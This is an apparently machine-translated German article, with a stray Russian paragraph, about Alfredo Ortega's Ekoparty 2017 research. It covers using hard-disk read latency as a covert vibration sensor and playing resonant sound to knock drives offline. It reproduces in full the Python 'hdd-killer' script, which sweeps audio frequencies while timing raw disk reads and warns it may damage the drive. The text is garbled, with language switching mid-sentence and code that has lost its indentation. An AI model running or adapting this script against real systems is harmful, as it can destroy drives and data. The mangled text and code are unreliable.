
Auf der Computersicherheitskonferenz Ekoparty 2017 in Buenos Aires zeigte der argentinische Hacker Alfredo Ortega eine sehr interessante Entwicklung – ein System zum verdeckten Abhören von Räumlichkeiten ohne Verwendung eines Mikrofons. Klang !
Die Festplatte nimmt hauptsächlich hochintensive, niederfrequente Geräusche, Schritte und andere Vibrationen auf. Die menschliche Sprache kann von Wissenschaftlern noch nicht erkannt werden (Spracherkennung durch niederfrequente Vibrationen, die beispielsweise von einem Gyroskop oder einer Festplatte aufgezeichnet werden).
Schall ist die Schwingung von Luft oder einem anderen Medium. Der Mensch nimmt sie über das Trommelfell wahr, das Schwingungen an das Innenohr überträgt. Das Mikrofon ist in etwa wie ein Ohr aufgebaut – auch hier werden Schwingungen von einer dünnen Membran aufgenommen, die einen elektrischen Impuls anregt. Natürlich unterliegt die Festplatte auch mikroskopischen Vibrationen aufgrund von Schwankungen in der Umgebungsluft. Dies ist bereits aus den technischen Eigenschaften von Festplatten bekannt: Hersteller geben in der Regel den maximal zulässigen Vibrationsgrad an, und die Festplatte selbst versucht häufig, sie in einem vibrationsfesten Behälter aus Gummi oder einem anderen Isoliermaterial unterzubringen. Daraus lässt sich leicht schließen, dass Töne mit der Festplatte aufgezeichnet werden können. Es bleibt nur noch herauszufinden, wie.
Alfredo Ortega schlug eine einzigartige Version eines Seitenkanalangriffs vor, nämlich einen Zeitangriff. Dieser Angriff basiert auf der Annahme, dass abhängig von den eingegebenen Daten zu unterschiedlichen Zeiten unterschiedliche Vorgänge auf dem Gerät ausgeführt werden. In diesem Fall handelt es sich bei den „Eingabedaten“ um die Vibrationen des Lesekopfs und des Festplattentellers, die mit den Vibrationen der Umgebung, also mit Schall, korrelieren. Durch Messung der Rechenzeit und Durchführung einer statistischen Analyse der Daten können somit die Schwingungen des Kopfes/Plattentellers und damit die Schwingungen des Mediums gemessen werden. Je länger die Verzögerung beim Lesen der Daten ist, desto stärker sind die Vibrationen der Festplatte und desto lauter ist der Ton.
Wie misst man Festplattenvibrationen? Ganz einfach: Führen Sie einfach den Systemaufruf aus read () – und notieren Sie die Zeit, die für die Fertigstellung benötigt wird. Moderne Betriebssysteme ermöglichen es Ihnen, den Zeitpunkt von Systemaufrufen mit einer Genauigkeit von Nanosekunden abzulesen.
Die Geschwindigkeit, mit der Informationen aus einem Sektor gelesen werden, hängt von der Position des Kopfs und der Platte ab, die mit den Vibrationen des Festplattengehäuses korreliert. Das ist alles.
Die statistische Analyse wird mit einem einfachen Kscope-Dienstprogramm durchgeführt. Wie sie sagen: Alles Geniale ist einfach.

Kscope-Dienstprogramm (stat() syscall)
Kscope ist ein kleines Dienstprogramm zur Visualisierung winziger Unterschiede in den Ausführungszeiten von Systemaufrufen. Quelle.
In einem separaten Repository Es gibt eine Version des Dienstprogramms, die für einen Zeitangriff auf die Festplatte konfiguriert ist, also für die Analyse des Systemaufrufs konfiguriert ist read ().
Demonstration der Tonaufnahme mit Festplatte, Bedienung des Kscope-Dienstprogramms

Sprache kann auf diese Weise natürlich nicht verstanden werden, aber als Vibrationssensor ist die Festplatte durchaus geeignet. Sie können beispielsweise registrieren, wenn eine Person mit harten Schuhen oder barfuß einen Raum mit einem Computer betritt (wahrscheinlich kann die Festplatte keine Vibrationen registrieren, wenn der Angreifer weiche Turnschuhe trägt oder ein dicker Teppich auf dem Boden liegt). das ist einen Blick wert). Der Computer ist in der Lage, Glassplitter oder andere Vorkommnisse mit starker Schallintensität zu registrieren. Das heißt, die Festplatte kann als eine Art System zur Erkennung unbefugter Eindringlinge dienen.
HDD-Killer
Кстати, схожую технику можно использовать для выведения из строя жёстких дисков. Только здесь мы не снимаем колебания с HDD, а наоборот — генерируем колебания, которые подаются на HDD. Если воспроизводить с колонки звук на частоте, которая резонирует с частотой HDD, то система вскоре отключает устройство с ошибкой ввода-вывода (ядро Linux полностью отключает HDD через 120 секунд). Сам жёсткий диск может получить необратимые повреждения.

Kern Linux отключило жёсткий диск после 120 секунд подачи звука на резонирующей частоте через динамик USB-колонки Edifier r19u. Динамик включен примерно на четверть мощности (менее 100 мВт) и располагается в 20 см от HDD, направлен на стол для усиления вибраций. Кадр из mit einer Demonstration des HDD-Killers
Es ist merkwürdig, dass solche „Angriffe“ auf Festplatten im Alltag manchmal völlig zufällig passieren. Beispielsweise musste das Rechenzentrum der ING Bank im September 2016 nach einer Brandschutzübung den Betrieb für zehn Stunden einstellen. aufgrund des lauten Geräusches von Inertgas, das unter hohem Druck aus Zylindern freigesetzt wird. Der Ton war sehr laut (mehr als 130 dB), aber man kann die Festplatten nicht einmal anschreien – das erhöht die Verzögerung beim Zugriff auf die Festplatte.
Demonstration menschlicher Schreie auf Festplatten in einem Rechenzentrum. Latenzmessung

Um den Resonanzklang zu erzeugen, hat Alfredo Ortega ein Python-Skript namens geschrieben ().
Da es recht klein ist, können Sie es hier vollständig veröffentlichen.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Source: habr.com
